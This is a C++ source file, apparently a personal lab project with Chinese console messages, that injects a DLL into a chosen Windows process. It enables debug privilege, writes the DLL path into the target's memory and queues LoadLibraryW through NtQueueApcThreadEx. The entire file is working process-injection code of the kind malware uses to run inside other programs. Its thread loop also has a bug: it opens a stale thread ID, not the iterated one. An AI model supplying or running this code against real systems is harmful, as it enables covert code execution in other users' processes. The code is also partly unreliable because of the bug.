1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158
| #include <Windows.h> #include <TlHelp32.h> #include <iostream> #include<vector>
typedef NTSTATUS(*NtQueueApcThreadEx) ( HANDLE thread, ULONG64 flag, ULONG64 NormalRoutine, ULONG64 NormalContext, ULONG64 s1, ULONG64 s2 ); NTSTATUS(*pNtQueueApcThreadEx) ( HANDLE thread, ULONG64 flag, ULONG64 NormalRoutine, ULONG64 NormalContext, ULONG64 s1, ULONG64 s2 ) = NULL; LPTHREAD_START_ROUTINE pLoadLibrary = NULL; BOOL EnableDebugPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { std::cerr << "无法打开进程令牌。错误: " << GetLastError() << std::endl; return FALSE; }
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { std::cerr << "无法查找调试特权的LUID。错误: " << GetLastError() << std::endl; CloseHandle(hToken); return FALSE; }
tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { std::cerr << "无法调整令牌特权。错误: " << GetLastError() << std::endl; CloseHandle(hToken); return FALSE; }
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { std::cerr << "令牌不具有指定的特权。错误: " << GetLastError() << std::endl; CloseHandle(hToken); return FALSE; }
CloseHandle(hToken); return TRUE; }
PVOID getFunction(LPCSTR ModuleName, LPCSTR funcName, HMODULE& hMoule) { hMoule = GetModuleHandleA(ModuleName); if (!hMoule) { std::cerr << "模块打开失败" << std::endl; exit(1); } PVOID pfunc = GetProcAddress(hMoule, funcName); if (!pfunc) { std::cerr << "函数查找失败" << std::endl; exit(2); } return pfunc; }
int main(void) { if (!EnableDebugPrivilege()) { std::cerr << "调整权限失败" << std::endl; return 1; }
HMODULE hNtdll; pNtQueueApcThreadEx = (NtQueueApcThreadEx)getFunction("Ntdll", "NtQueueApcThreadEx", hNtdll);
HMODULE hKernel32; pLoadLibrary = (LPTHREAD_START_ROUTINE)getFunction("kernel32", "LoadLibraryW", hKernel32);
DWORD dwPid = 0; std::cout << "请输入进程PID:"; std::cin >> dwPid; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
WCHAR dllpath[] = L"C:\\Users\\a2879\\source\\repos\\valentForAPCinject\\x64\\Debug\\messageboxDLL.dll"; LPVOID lpDLLpath = VirtualAllocEx(hProcess, NULL, sizeof(dllpath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpDLLpath) { std::cerr << "内存分配失败" << std::endl; return 0; } SIZE_T bytesWritten; if (!WriteProcessMemory(hProcess, lpDLLpath, dllpath, sizeof(dllpath) + 1, &bytesWritten)) { std::cerr << "写入失败" << std::endl; return 0; }
DWORD dwThreadID; THREADENTRY32 te32 = {}; te32.dwSize = sizeof(THREADENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
std::vector<DWORD> Vthread = {};
if (Thread32First(hSnapshot, &te32)) { do { if (te32.th32OwnerProcessID == dwPid) { Vthread.push_back(te32.th32ThreadID); } } while (Thread32Next(hSnapshot, &te32)); }
for (auto it = Vthread.rbegin(); it != Vthread.rend(); it++) { HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID); if (hThread) { pNtQueueApcThreadEx(hThread, 1, (ULONG64)pLoadLibrary, (ULONG64)lpDLLpath, NULL, NULL); std::cout << "成功执行:" << *it << std::endl; CloseHandle(hThread); } else { std::cerr << "无法打开线程\n"; } }
std::cout << "执行结束" << std::endl; system("pause"); }
|